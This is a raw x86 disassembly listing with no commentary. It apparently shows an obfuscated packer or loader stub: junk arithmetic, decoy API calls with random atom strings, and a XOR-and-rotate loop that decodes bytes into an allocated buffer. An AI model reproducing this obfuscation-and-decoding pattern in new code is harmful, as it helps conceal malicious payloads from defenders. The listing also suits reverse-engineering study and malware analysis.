mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x34]
mov dword [edx], ecx
mov eax, dword [ebp - 0x14c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1d4]
add ecx, edx
mov word [ebp - 8], cx
mov eax, dword [ebp - 0x28]
mov cl, byte [eax]
mov byte [ebp - 0x49], cl
mov edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x34]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x50], ecx
push str.Zq.ULBW9KeuvFQ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x9c], ax
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x98]
mov dword [edx], ecx
movsx eax, word [ebp - 0x144]
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x463
je 0x407272
cmp dword [ebp - 0x1fc], 0x93a
je 0x4072cc
jmp 0x4072fb
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x34]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x50], eax
movsx edx, byte [ebp - 0x101]
mov eax, dword [ebp - 0x64]
movsx ecx, byte [eax]
shl edx, cl
mov byte [0x45e404], dl
push 0xfd
mov ecx, dword [ebp - 0x74]
push ecx
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.USER32.dll_GetDCEx]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x14c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1d4]
and ecx, edx
mov eax, dword [ebp - 0x14c]
mov word [eax], cx
jmp 0x4072fb
lea ecx, [ebp - 0x199]
mov dword [ebp - 0x140], ecx
lea edx, [ebp - 0xe8]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x1c4], ecx
movsx edx, word [ebp - 0x3c]
movsx eax, word [ebp - 0x160]
add edx, eax
mov word [ebp - 0x144], dx
lea ecx, [ebp - 0x101]
mov dword [ebp - 0x1a4], ecx
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x94]
sub eax, ecx
mov word [ebp - 8], ax
mov edx, dword [ebp - 0x54]
mov al, byte [edx]
mov byte [ebp - 0x1dd], al
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx]
and edx, dword [ebp - 0x150]
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x17c], eax
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x38], ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
cmp dword [ebp - 0x1ac], 0x7a96
je 0x40767b
mov edx, dword [ebp - 0x140]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1dd], al
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x34]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x6c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xdc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1c8], ax
movzx edx, word [ebp - 0x94]
movzx eax, word [ebp - 0x1d4]
sub edx, eax
mov word [0x45e408], dx
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xbc]
add edx, dword [eax]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], edx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x8c]
xor eax, dword [edx]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x49]
or eax, ecx
mov edx, dword [ebp - 0x140]
mov byte [edx], al
mov eax, dword [ebp - 0x1ac]
add eax, 0x67
mov dword [ebp - 0x1ac], eax
mov ecx, dword [ebp - 0x38]
movzx edx, word [ecx]
movzx ecx, word [ebp - 8]
shl edx, cl
mov eax, dword [ebp - 0x14c]
mov word [eax], dx
mov edx, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0xe8]
shr edx, cl
mov eax, dword [ebp - 0x98]
mov dword [eax], edx
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx]
and edx, dword [ebp - 0x50]
mov dword [ebp - 0xd8], edx
mov eax, dword [ebp - 0x64]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x101], cl
movsx ecx, word [ebp - 0x160]
movsx edx, word [ebp - 0x3c]
add ecx, edx
mov word [ebp - 0x144], cx
movzx eax, byte [ebp - 0x199]
movzx ecx, byte [ebp - 0x49]
add eax, ecx
mov edx, dword [ebp - 0x54]
mov byte [edx], al
movzx eax, word [0x45e408]
mov ecx, dword [ebp - 0x14c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x38]
mov word [ecx], ax
mov edx, dword [ebp - 0x158]
sub edx, dword [ebp - 0xe8]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x34]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x1c0], edx
mov eax, dword [ebp - 0x1c4]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x1c0], eax
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x170]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x98]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1c0]
mov dword [ebp - 0x8c], edx
movzx eax, byte [ebp - 0x199]
movzx ecx, byte [ebp - 0x1dd]
shl eax, cl
mov ecx, dword [ebp - 0x28]
mov byte [ecx], al
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x14c]
mov word [edx], ax
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x1c]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x34]
mov dword [edx], ecx
mov eax, dword [ebp - 0x17c]
or eax, dword [ebp - 0x170]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0xbc]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x1c4], eax
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0xbc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x1c4], eax
mov ecx, dword [ebp - 0x38]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1d4]
sub edx, eax
mov ecx, dword [ebp - 0x14c]
mov word [ecx], dx
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x140]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xb5], al
movsx eax, byte [ebp - 0x101]
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], al
movsx edx, word [ebp - 0x160]
movsx eax, word [ebp - 0x3c]
add edx, eax
mov word [ebp - 0x144], dx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
add edx, dword [ebp - 0x170]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x140]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x45f3a2], cl
mov ecx, dword [ebp - 0x140]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xb5]
sub edx, eax
mov byte [ebp - 0x1e5], dl
movzx edx, word [ebp - 8]
movzx ecx, word [ebp - 0x1d4]
shl edx, cl
mov word [ebp - 0x94], dx
mov eax, dword [ebp - 0x150]
or eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1bc]
xor eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x50]
sar edx, cl
mov eax, dword [ebp - 0x34]
mov dword [eax], edx
jmp 0x407387
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x170]
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
movzx edx, word [ebp - 8]
and ecx, edx
mov word [ebp - 0x1d4], cx
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0xec]
sub eax, dword [edx]
cmp ecx, eax
je 0x407723
mov ecx, dword [ebp - 0x54]
mov dl, byte [ecx]
mov byte [ebp - 0x29], dl
mov eax, dword [ebp - 0x54]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x1dd]
sub ecx, edx
mov byte [0x45e405], cl
lea eax, [ebp - 0x198]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x8c]
mov dword [ebp - 0x70], edx
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x1d0], eax
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x84]
add edx, dword [eax]
mov ecx, dword [ebp - 0xa4]
mov dword [ecx], edx
jmp 0x40772e
mov cl, byte [0x45e404]
call fcn.00408720
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx]
add eax, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
movzx ecx, word [ebp - 8]
and eax, ecx
mov edx, dword [ebp - 0x38]
movzx ecx, word [edx]
movzx edx, word [ebp - 0x94]
xor ecx, edx
cmp eax, ecx
jl 0x40843e
lea eax, [ebp - 0x94]
mov dword [ebp - 0xe4], eax
lea ecx, [ebp - 0x49]
mov dword [ebp - 0x134], ecx
movzx edx, byte [ebp - 0xb5]
mov eax, dword [ebp - 0x134]
movzx ecx, byte [eax]
sub edx, ecx
movzx eax, byte [ebp - 0x29]
movzx ecx, byte [ebp - 0x1e5]
add eax, ecx
cmp edx, eax
jle 0x407831
mov edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x170]
or eax, dword [edx]
mov dword [ebp - 0x17c], eax
movzx edx, word [ebp - 8]
movzx ecx, word [ebp - 0x1d4]
shl edx, cl
mov word [0x45e408], dx
movzx eax, byte [ebp - 0x29]
movzx ecx, byte [ebp - 0x49]
and eax, ecx
mov byte [ebp - 0x199], al
lea edx, [ebp - 0x1d4]
push edx
lea eax, [ebp - 0x151]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov dword [ebp - 0x1cc], eax
mov edx, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1d0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x1c0]
push edx
call fcn.00406040
add esp, 8
jmp 0x4083e5
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x50]
add ecx, dword [eax]
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x1a4]
mov al, byte [edx]
mov byte [ebp - 0x169], al
mov ecx, dword [ebp - 0x8c]
and ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c4]
sub edx, dword [ebp - 0x1bc]
cmp ecx, edx
jle 0x407898
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [edx]
push eax
call fcn.00406040
add esp, 8
movzx ecx, word [0x45e408]
movzx edx, word [ebp - 0x1d4]
add ecx, edx
mov eax, dword [ebp - 0x14c]
mov word [eax], cx
jmp 0x407944
movzx ecx, word [ebp - 0x94]
mov edx, dword [ebp - 0x38]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
movzx edx, word [ebp - 0x1d4]
add eax, edx
cmp ecx, eax
je 0x407944
mov eax, dword [ebp - 0x134]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x54]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xb5], cl
mov ecx, dword [ebp - 0xe4]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x14c]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1d4], dx
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0xe8], eax
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0xa4]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0xd8]
push edx
call fcn.00405fd0
add esp, 8
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x118], 0xf982
jbe 0x4079a5
mov ecx, dword [ebp - 0x118]
sub ecx, 0xd7
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 0x18]
and edx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], edx
movzx eax, word [ebp - 0x94]
mov ecx, dword [ebp - 0x38]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x14c]
mov word [ecx], ax
mov edx, dword [ebp - 0x54]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1dd], al
jmp 0x40794d
mov dword [ebp - 0x90], 0x40000
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x158]
mov dword [ebp - 0xf4], ecx
mov edx, dword [ebp - 0x50]
sub edx, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0xbc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [edx]
mov dword [ebp - 0x100], eax
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x84]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x158], eax
mov cx, word [ebp - 0x144]
mov word [0x45f3a0], cx
mov dword [ebp - 0x108], 0x8aa6f38c
lea edx, [ebp - 0x94]
mov dword [ebp - 0xc], edx
push str.B7lJ_cu_YA23ZQ_Jr
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1b4], ax
mov eax, dword [ebp - 0x28]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x54]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xb5], cl
mov ecx, dword [ebp - 0x108]
add ecx, 0x75591d95
mov dword [ebp - 0x108], ecx
mov dx, word [ebp - 0x160]
mov word [ebp - 0x1b8], dx
movsx eax, byte [0x45e404]
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x151], al
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x98]
add ecx, dword [edx]
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 0x108]
mov dword [ebp - 0x168], edx
movzx eax, byte [0x45f3a2]
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1dd], al
mov ax, word [ebp - 0x1d4]
mov word [ebp - 0x13c], ax
lea ecx, [ebp - 0x151]
mov dword [0x45f3a4], ecx
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x100]
sar edx, cl
mov dword [ebp - 0x1c4], edx
mov eax, dword [ebp - 0x98]
mov edx, dword [ebp - 0x17c]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x170], edx
mov eax, dword [ebp - 0x80]
mov ecx, dword [eax]
mov dword [ebp - 0xfc], ecx
call fcn.004022a0
mov edx, dword [ebp - 0xfc]
or edx, dword [ebp - 0x1c0]
mov dword [ebp - 0x18], edx
mov al, byte [ebp - 0x49]
mov byte [ebp - 0x15a], al
mov ecx, dword [ebp - 0x168]
push ecx
mov edx, dword [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x90]
push eax
call dword [ebp - 0x88]
mov dword [ebp - 0x1dc], eax
movzx ecx, word [ebp - 0x1c8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1c8], ax
mov edx, dword [ebp - 0xc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xe4]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x14c]
mov word [ecx], ax
mov edx, dword [ebp - 0x84]
mov eax, dword [edx]
and eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x6c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [0x45e40c], eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [0x45e40c]
sub edx, dword [ecx]
mov dword [ebp - 0x70], edx
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x1a0], eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x80]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x178], 0xacc2799a
mov dword [ebp - 0x1a8], 0x45f3a0
mov cl, byte [ebp - 0x169]
mov byte [ebp - 0x1d5], cl
movzx edx, byte [ebp - 0xb5]
mov eax, dword [ebp - 0x134]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x1e5], dl
mov edx, dword [ebp - 0xe4]
movzx eax, word [edx]
movzx ecx, word [ebp - 8]
add eax, ecx
mov word [ebp - 0x94], ax
mov dword [ebp - 0x5c], 0x8d
movzx edx, word [ebp - 0xdc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0xe0], ax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x1a8]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x3c]
imul edx, eax
mov word [0x45e410], dx
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x150]
and edx, dword [ecx]
mov eax, dword [ebp - 0x10]
mov dword [eax], edx
mov ecx, dword [ebp - 0x134]
mov dl, byte [ecx]
mov byte [ebp - 0x12d], dl
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xe4]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xc]
mov word [edx], cx
mov eax, dword [ebp - 0x80]
mov ecx, dword [0x45e40c]
sub ecx, dword [eax]
mov dword [ebp - 0x1c4], ecx
lea edx, [ebp - 0x138]
mov dword [ebp - 0x164], edx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x100]
add ecx, dword [eax]
mov dword [ebp - 0x1c4], ecx
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0xf8], edx
lea eax, [ebp - 0xd8]
mov dword [ebp - 0xd0], eax
movzx edx, word [ebp - 0x13c]
movzx ecx, word [ebp - 0x1d4]
shl edx, cl
mov word [ebp - 0x94], dx
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
mov dword [0x45f3a8], ecx
mov edx, dword [ebp - 0x134]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x54]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0xb5], al
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xcc], 0x25e53b55
mov dl, byte [ebp - 0x12d]
mov byte [ebp - 0x200], dl
cmp byte [ebp - 0x200], 0xf9
je 0x407d4c
jmp 0x407d72
mov eax, dword [ebp - 0xd8]
xor eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x170]
push edx
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [eax]
push ecx
call fcn.00405fd0
add esp, 8
mov edx, dword [ebp - 0xcc]
sub edx, 0x21781533
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0x1a4]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x151]
sar edx, cl
mov byte [ebp - 0x1d5], dl
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x14c]
mov dx, word [ecx]
mov word [ebp - 0x114], dx
movzx eax, byte [ebp - 0x49]
mov ecx, dword [ebp - 0x134]
movzx edx, byte [ecx]
imul eax, edx
mov byte [ebp - 0x199], al
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x150]
and ecx, dword [eax]
mov edx, dword [ebp - 0x84]
mov dword [edx], ecx
mov eax, dword [ebp - 0x80]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x18]
mov dword [0x45e414], ecx
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0xcc]
jae 0x408211
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xd8], ecx
mov edx, dword [ebp - 0x84]
mov eax, dword [edx]
sub eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0xa4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8c]
sub edx, dword [ebp - 0x60]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1d4]
add ecx, edx
mov word [ebp - 0x13c], cx
mov eax, dword [ebp - 0xf8]
mov cl, byte [eax]
mov byte [ebp - 0x75], cl
movzx edx, byte [ebp - 0x1e5]
movzx eax, byte [ebp - 0x199]
sub edx, eax
mov ecx, dword [ebp - 0x140]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1d0]
mov eax, dword [edx]
and eax, dword [0x45e40c]
mov dword [ebp - 0x100], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov ecx, dword [ebp - 0x170]
add ecx, dword [ebp - 0xe8]
mov dword [ebp - 0x138], ecx
movzx edx, byte [ebp - 0x75]
xor edx, dword [ebp - 0x178]
mov byte [ebp - 0x75], dl
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x1c4]
xor ecx, dword [eax]
mov dword [ebp - 0xd8], ecx
mov edx, dword [0x45f3a4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xd4]
movsx ecx, byte [ecx]
shl eax, cl
mov edx, dword [0x45f3a4]
mov byte [edx], al
movzx eax, byte [ebp - 0x1e5]
mov ecx, dword [ebp - 0x54]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0xb5], al
movzx edx, word [ebp - 0x114]
movzx eax, word [0x45e408]
or edx, eax
mov ecx, dword [ebp - 0xe4]
mov word [ecx], dx
mov cl, byte [ebp - 0x178]
mov dl, byte [ebp - 0x75]
ror dl, cl
mov byte [ebp - 0x75], dl
movsx eax, byte [ebp - 0x169]
movsx ecx, byte [ebp - 0x1d5]
add eax, ecx
mov byte [ebp - 0x151], al
mov edx, dword [ebp - 0x10c]
movsx eax, word [edx]
movsx ecx, word [0x45f3a0]
and eax, ecx
mov word [ebp - 0x1b8], ax
mov edx, dword [ebp - 0xa4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x17c]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x14]
mov dl, byte [ebp - 0x75]
mov byte [ecx], dl
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x34]
add ecx, dword [edx]
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x134]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x140]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x12d], dl
movzx edx, word [ebp - 0x1d4]
movzx eax, word [ebp - 0x13c]
sub edx, eax
mov word [ebp - 0x94], dx
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x10]
add edx, dword [eax]
mov dword [0x45f3a8], edx
mov ecx, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x50]
sub edx, dword [ecx]
mov dword [ebp - 0x18], edx
push str.BxbMNSO5_cafeMZ_wEhdS_U6f
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0xe0], ax
mov eax, dword [ebp - 0xf8]
add eax, 1
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1c0]
add edx, dword [ecx]
mov eax, dword [ebp - 0x1a0]
mov dword [eax], edx
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xf4]
and edx, dword [ecx]
mov eax, dword [ebp - 0x84]
mov dword [eax], edx
movzx edx, byte [ebp - 0x1dd]
mov eax, dword [ebp - 0x134]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x199], dl
mov ecx, dword [ebp - 0x14c]
movzx edx, word [ecx]
movzx eax, word [0x45e408]
or edx, eax
mov word [ebp - 8], dx
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x8c]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x1c0]
mov ecx, dword [0x45e414]
shl edx, cl
mov dword [ebp - 0xd8], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x138]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xa4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x60]
sub ecx, dword [eax]
mov dword [0x45e414], ecx
mov edx, dword [0x45e414]
and edx, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0xd0]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x169]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x101], cl
mov ecx, dword [ebp - 0x10c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x160]
sub edx, eax
mov word [ebp - 0x144], dx
mov ecx, dword [ebp - 0x178]
imul ecx, ecx, 0xdf53
mov dword [ebp - 0x178], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x134]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x54]
mov byte [ecx], al
mov edx, dword [ebp - 0xe4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x38]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x13c], ax
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x164]
add ecx, dword [edx]
mov dword [ebp - 0xf4], ecx
mov eax, dword [ebp - 0x178]
add eax, 0xf821
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x1c4]
add edx, dword [ecx]
mov dword [ebp - 0xd8], edx
mov eax, dword [ebp - 0x134]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x29]
add ecx, edx
mov eax, dword [ebp - 0x134]
mov byte [eax], cl
movzx ecx, word [ebp - 0x114]
movzx edx, word [ebp - 0x94]
add ecx, edx
mov word [0x45e408], cx
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x170]
shr edx, cl
mov eax, dword [ebp - 0xa4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c4]
or ecx, dword [ebp - 0x50]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x5c]
add edx, 0x65497
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0xf4]
shl eax, cl
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x54]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x199]
and edx, eax
mov ecx, dword [ebp - 0x134]
mov byte [ecx], dl
mov edx, dword [ebp - 0xe4]
movzx eax, word [edx]
